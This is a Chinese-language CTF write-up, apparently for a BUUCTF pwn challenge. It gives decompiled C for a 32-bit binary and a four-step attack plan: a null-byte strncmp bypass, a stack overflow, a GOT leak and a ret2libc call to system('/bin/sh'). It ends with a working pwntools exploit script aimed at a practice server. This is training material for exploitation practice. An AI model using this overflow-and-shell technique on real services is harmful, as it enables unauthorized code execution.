逆向
int __cdecl main()
{
int buf; // [esp+4h] [ebp-14h] BYREF
char v2; // [esp+Bh] [ebp-Dh]
int fd; // [esp+Ch] [ebp-Ch]
sub_80486BB();
fd = open("/dev/urandom", 0);
if ( fd > 0 )
read(fd, &buf, 4u);
v2 = sub_804871F(buf);
sub_80487D0(v2);
return 0;
}
int __cdecl sub_804871F(int a1)
{
size_t v1; // eax
char s[32]; // [esp+Ch] [ebp-4Ch] BYREF
char buf[32]; // [esp+2Ch] [ebp-2Ch] BYREF
ssize_t v5; // [esp+4Ch] [ebp-Ch]
memset(s, 0, sizeof(s));
memset(buf, 0, sizeof(buf));
sprintf(s, "%ld", a1);
v5 = read(0, buf, 0x20u);
buf[v5 - 1] = 0;
v1 = strlen(buf);
if ( strncmp(buf, s, v1) )
exit(0);
write(1, "Correct\n", 8u);
return (unsigned __int8)buf[7];
}
ssize_t __cdecl sub_80487D0(char a1)
{
ssize_t result; // eax
char buf[231]; // [esp+11h] [ebp-E7h] BYREF
if ( a1 == 127 )
result = read(0, buf, 0xC8u);
else
result = read(0, buf, a1);
return result;
}
攻击思路
(1)用0x00绕过strncmp比较
(2)进入sub_80487D0函数进行第二次输入,因为buf有0xe7字节,因此0xc8是不够输入的,为使得多输入一些字符可以将a1写为0xff
(3)泄漏read的got地址,求得偏移量,通过溢出执行write函数,打印出read的got地址,并在此之后重新执行sub_80487D0函数
(4)根据得到的read的got地址求偏移量,计算出system函数地址和"\bin\sh"的地址,实施漏洞攻击,夺取权限
脚本攻击
# -*- coding:utf-8 -*-
from pwn import *
from LibcSearcher import *
p=remote("node4.buuoj.cn",29791)
elf=ELF('./pwn')
write_plt=elf.plt['write']
read_got=elf.got['read']
read_plt=elf.plt['read']
main_addr=0x8048825
func_addr=0x80487D0
payload=b'\x00'+b'\xff'*8
p.sendline(payload)
p.recvuntil(b'Correct\n')
payload=b'a'*(0xe7+0x4)+p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(0x4)
p.sendline(payload)
read_addr=u32(p.recv(4))
print(hex(read_addr))
payload=b'\x00'+b'\xff'*8
p.sendline(payload)
libc=ELF('./libc-2.23.so')
system_libc=libc.symbols['system']
binsh_libc=libc.search(b'/bin/sh').__next__()
read_libc=libc.symbols['read']
base=read_addr-read_libc
system_addr=system_libc+base
binsh_addr=binsh_libc+base
payload=b'a'*(0xe7+0x4)+p32(system_addr)*2+p32(binsh_addr)
p.sendline(payload)
p.interactive()